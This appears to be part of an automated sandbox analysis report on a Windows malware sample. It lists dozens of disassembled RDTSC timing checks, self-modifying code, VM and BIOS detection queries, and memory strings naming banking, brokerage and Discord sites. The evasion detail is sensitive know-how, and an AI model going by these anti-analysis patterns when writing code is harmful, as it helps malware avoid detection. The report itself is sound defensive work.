Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF3A1F second address: 5EF3A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF3C88 second address: 5EF3CA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB180E7C724h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF715F second address: 5EF7170 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7873Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF7170 second address: 5EF7176 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF7176 second address: 5EF717A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF72BA second address: 5EF731C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB180E7C716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push ebx 0x0000000d js 00007FB180E7C728h 0x00000013 jmp 00007FB180E7C722h 0x00000018 pop ebx 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d pushad 0x0000001e push edi 0x0000001f pushad 0x00000020 popad 0x00000021 pop edi 0x00000022 jmp 00007FB180E7C727h 0x00000027 popad 0x00000028 mov eax, dword ptr [eax] 0x0000002a jmp 00007FB180E7C720h 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 push esi 0x00000037 pop esi 0x00000038 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF74FB second address: 5EF74FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF9D15 second address: 5EF9D23 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB180E7C716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EF9D23 second address: 5EF9D27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EBA3AE second address: 5EBA3B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EFC3CB second address: 5EFC3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EFC3CF second address: 5EFC3D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EC4517 second address: 5EC4536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78740h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FB180E78740h 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F0138F second address: 5F013BE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 jmp 00007FB180E7C721h 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 push edx 0x00000012 jmp 00007FB180E7C71Ah 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F013BE second address: 5F013C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F00C7E second address: 5F00C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB180E7C729h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F00C9F second address: 5F00CBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB180E78741h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F00F39 second address: 5F00F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7C724h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB180E7C71Ah 0x00000011 jbe 00007FB180E7C716h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F01220 second address: 5F01224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5EC5F47 second address: 5EC5F5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C720h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F04B8F second address: 5F04B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F04B93 second address: 5F04BAC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB180E7C716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB180E7C71Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F04E6A second address: 5F04E70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F04F34 second address: 5F04F6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C727h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FB180E7C726h 0x00000013 popad 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F05293 second address: 5F05299 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F05299 second address: 5F052A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F05CEA second address: 5F05CEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F05DBC second address: 5F05DC6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F05DC6 second address: 5F05DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F05E6F second address: 5F05E73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F05E73 second address: 5F05E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F05E80 second address: 5F05E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F05E84 second address: 5F05EC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78742h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FB180E78738h 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007FB180E78738h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b xchg eax, ebx 0x0000002c push ecx 0x0000002d push ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F06BFB second address: 5F06BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F06BFF second address: 5F06C04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F07DB2 second address: 5F07DB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F07DB6 second address: 5F07E60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78742h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FB180E78738h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D3BC5h] 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007FB180E78738h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 0000001Dh 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 mov dword ptr [ebp+122D1E18h], eax 0x0000004e jno 00007FB180E78755h 0x00000054 push 00000000h 0x00000056 xchg eax, ebx 0x00000057 jmp 00007FB180E7873Ah 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 jc 00007FB180E78736h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F07E60 second address: 5F07E6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F07E6F second address: 5F07E75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F0754E second address: 5F0755D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F0889C second address: 5F0892E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB180E78747h 0x00000008 jmp 00007FB180E7873Ah 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007FB180E78746h 0x00000016 nop 0x00000017 jmp 00007FB180E78743h 0x0000001c push 00000000h 0x0000001e pushad 0x0000001f sbb edi, 098C8682h 0x00000025 mov cl, 56h 0x00000027 popad 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007FB180E78738h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000014h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 jnl 00007FB180E7873Ch 0x0000004a xchg eax, ebx 0x0000004b jo 00007FB180E78755h 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F0892E second address: 5F0895B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7C727h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jnc 00007FB180E7C716h 0x00000014 jnl 00007FB180E7C716h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F09CD2 second address: 5F09CDC instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB180E7873Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F09CDC second address: 5F09CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F09CE8 second address: 5F09CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB180E78736h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F0CD90 second address: 5F0CD99 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F104E3 second address: 5F104ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F104ED second address: 5F104F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F104F3 second address: 5F104FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F12872 second address: 5F12876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F13706 second address: 5F13744 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnc 00007FB180E78736h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push edx 0x0000000f jmp 00007FB180E7873Ch 0x00000014 pop edx 0x00000015 pop ecx 0x00000016 nop 0x00000017 and edi, dword ptr [ebp+122D272Dh] 0x0000001d push 00000000h 0x0000001f mov edi, dword ptr [ebp+122D3AE5h] 0x00000025 push 00000000h 0x00000027 sub di, 0557h 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f jg 00007FB180E78738h 0x00000035 push ebx 0x00000036 pop ebx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F13744 second address: 5F13749 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F14888 second address: 5F1489A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB180E78736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FB180E78736h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F1590E second address: 5F15973 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C728h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB180E7C722h 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007FB180E7C718h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D1D53h], esi 0x00000034 push 00000000h 0x00000036 mov bl, 99h 0x00000038 xchg eax, esi 0x00000039 push edi 0x0000003a push eax 0x0000003b push edx 0x0000003c jnl 00007FB180E7C716h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F15973 second address: 5F15977 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F149BA second address: 5F149C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB180E7C71Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F149C8 second address: 5F149CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F149CC second address: 5F149E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jng 00007FB180E7C71Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F149E6 second address: 5F14A86 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 xor ebx, dword ptr [ebp+122D1D3Fh] 0x0000000e push dword ptr fs:[00000000h] 0x00000015 jp 00007FB180E7873Ch 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push edi 0x00000025 call 00007FB180E78738h 0x0000002a pop edi 0x0000002b mov dword ptr [esp+04h], edi 0x0000002f add dword ptr [esp+04h], 0000001Ch 0x00000037 inc edi 0x00000038 push edi 0x00000039 ret 0x0000003a pop edi 0x0000003b ret 0x0000003c call 00007FB180E78748h 0x00000041 mov ebx, ecx 0x00000043 pop ebx 0x00000044 mov eax, dword ptr [ebp+122D0C1Dh] 0x0000004a push 00000000h 0x0000004c push eax 0x0000004d call 00007FB180E78738h 0x00000052 pop eax 0x00000053 mov dword ptr [esp+04h], eax 0x00000057 add dword ptr [esp+04h], 00000018h 0x0000005f inc eax 0x00000060 push eax 0x00000061 ret 0x00000062 pop eax 0x00000063 ret 0x00000064 push eax 0x00000065 mov ebx, dword ptr [ebp+122D1C61h] 0x0000006b pop ebx 0x0000006c push FFFFFFFFh 0x0000006e mov edi, ecx 0x00000070 nop 0x00000071 push edx 0x00000072 pushad 0x00000073 push edx 0x00000074 pop edx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F14A86 second address: 5F14A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F16811 second address: 5F16817 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F177D8 second address: 5F177DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F177DC second address: 5F1785B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7873Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007FB180E78738h 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 jmp 00007FB180E78742h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007FB180E78738h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 mov di, si 0x00000037 push 00000000h 0x00000039 js 00007FB180E7873Bh 0x0000003f mov edi, 2239B53Dh 0x00000044 xchg eax, esi 0x00000045 push edi 0x00000046 push ecx 0x00000047 push esi 0x00000048 pop esi 0x00000049 pop ecx 0x0000004a pop edi 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FB180E78740h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 5F15AE1 second address: 5F15B83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 mov dword ptr [ebp+122D2822h], ebx 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007FB180E7C718h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e mov dword ptr fs:[00000000h], esp 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007FB180E7C718h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 0000001Ah 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f jmp 00007FB180E7C71Ah 0x00000054 mov eax, dword ptr [ebp+122D004Dh] 0x0000005a movsx edi, dx 0x0000005d push FFFFFFFFh 0x0000005f jp 00007FB180E7C71Eh 0x00000065 nop 0x00000066 jmp 00007FB180E7C727h 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e push edi 0x0000006f push ecx 0x00000070 pop ecx 0x00000071 pop edi 0x00000072 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Special instruction interceptor: First address: 98CF5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Special instruction interceptor: First address: 98C2D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Special instruction interceptor: First address: 24BF64 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Special instruction interceptor: First address: 5D4DDF9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Special instruction interceptor: First address: 5F25DB6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Special instruction interceptor: First address: 5D4DDCD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Special instruction interceptor: First address: 5F953CB instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

Code function: 0_2_05EEACA0 rdtsc

0_2_05EEACA0

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

Code function: 0_2_05EE451D sidt fword ptr [esp-02h]

0_2_05EE451D

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe TID: 6984	Thread sleep time: -30015s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe TID: 6472	Thread sleep time: -240000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: bzzF5OFbVi.exe, bzzF5OFbVi.exe, 00000000.00000002.2388470462.0000000000218000.00000040.00000001.01000000.00000003.sdmp, bzzF5OFbVi.exe, 00000000.00000002.2399201862.0000000005ED8000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
